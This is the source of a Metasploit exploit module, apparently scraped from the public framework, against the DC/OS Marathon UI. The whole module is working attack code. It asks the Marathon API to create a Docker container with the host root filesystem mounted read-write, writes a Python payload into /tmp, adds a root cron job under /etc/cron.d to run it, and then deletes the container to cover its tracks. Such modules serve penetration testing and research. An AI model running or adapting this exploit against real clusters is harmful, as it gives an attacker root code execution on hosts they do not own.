1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'DC/OS Marathon UI Docker Exploit', 'Description'=> %q{ Utilizing the DCOS Cluster's Marathon UI, an attacker can create a docker container with the '/' path mounted with read/write permissions on the host server that is running the docker container. As the docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owed by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. *Notes: The docker image must be a valid docker image from hub.docker.com. Further more the docker container will only deploy if there are resources available in the DC/OS cluster. }, 'Author' => 'Erik Daguerre', 'License'=> MSF_LICENSE, 'References' => [ [ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'], ], 'Targets'=> [ [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Payload'=> { 'Compat' => { 'ConnectionType' => 'reverse noconn none tunnel' } } } ] ], 'DefaultOptions' => { 'WfsDelay' => 75 }, 'DefaultTarget'=> 0, 'DisclosureDate' => 'Mar 03, 2017')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), OptString.new('CONTAINER_ID', [ false, 'container id you would like']), OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]) ]) end def get_apps res = send_request_raw({ 'method'=> 'GET', 'uri' => target_uri.path }) return unless res and res.code == 200 # verify it is marathon ui, and is returning content-type json return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json' apps = JSON.parse(res.body) apps end def del_container(container_id) res = send_request_raw({ 'method'=> 'DELETE', 'uri' => normalize_uri(target_uri.path, container_id) }) return unless res and res.code == 200 res.code end def make_container_id return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? rand_text_alpha_lower(8) end def make_cmd(mnt_path, cron_path, payload_path) vprint_status('Creating the docker container command') payload_data = nil echo_cron_path = mnt_path + cron_path echo_payload_path = mnt_path + payload_path cron_command = "python #{payload_path}" payload_data = payload.raw command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n" command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n" command << "echo \"\" >> #{echo_cron_path}\n" command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n" command << "sleep 120" command end def make_container(mnt_path, cron_path, payload_path, container_id) vprint_status('Setting container json request variables') container_data = { 'cmd' => make_cmd(mnt_path, cron_path, payload_path), 'cpus'=> 1, 'mem' => 128, 'disk'=> 0, 'instances' => 1, 'id'=> container_id, 'container' => { 'docker'=> { 'image' => datastore['DOCKERIMAGE'], 'network' => 'HOST', }, 'type'=> 'DOCKER', 'volumes' => [ { 'hostPath'=> '/', 'containerPath' => mnt_path, 'mode'=> 'RW' } ], }, 'env' => {}, 'labels'=> {} } container_data end def check return Exploit::CheckCode::Safe if get_apps.nil? Exploit::CheckCode::Appears end def exploit if get_apps.nil? fail_with(Failure::Unknown, 'Failed to connect to the targeturi') end # create required information to create json container information. cron_path = '/etc/cron.d/' + rand_text_alpha(8) payload_path = '/tmp/' + rand_text_alpha(8) mnt_path = '/mnt/' + rand_text_alpha(8) container_id = make_container_id() res = send_request_raw({ 'method'=> 'POST', 'uri' => target_uri.path, 'data'=> make_container(mnt_path, cron_path, payload_path, container_id).to_json }) fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201 print_status('The docker container is created, waiting for it to deploy') register_files_for_cleanup(cron_path, payload_path) sleep_time = 5 wait_time = datastore['WAIT_TIMEOUT'] deleted_container = false print_status("Waiting up to #{wait_time} seconds for docker container to start") while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time apps_status = get_apps fail_with(Failure::Unknown, 'No apps returned') unless apps_status apps_status['apps'].each do |app| next if app['id'] != "/#{container_id}" if app['tasksRunning'] == 1 print_status('The docker container is running, removing it') del_container(container_id) deleted_container = true wait_time = 0 else vprint_status('The docker container is not yet running') end break end end # If the docker container does not deploy remove it and fail out. unless deleted_container del_container(container_id) fail_with(Failure::Unknown, "The docker container failed to start") end print_status('Waiting for the cron job to run, can take up to 60 seconds') end end |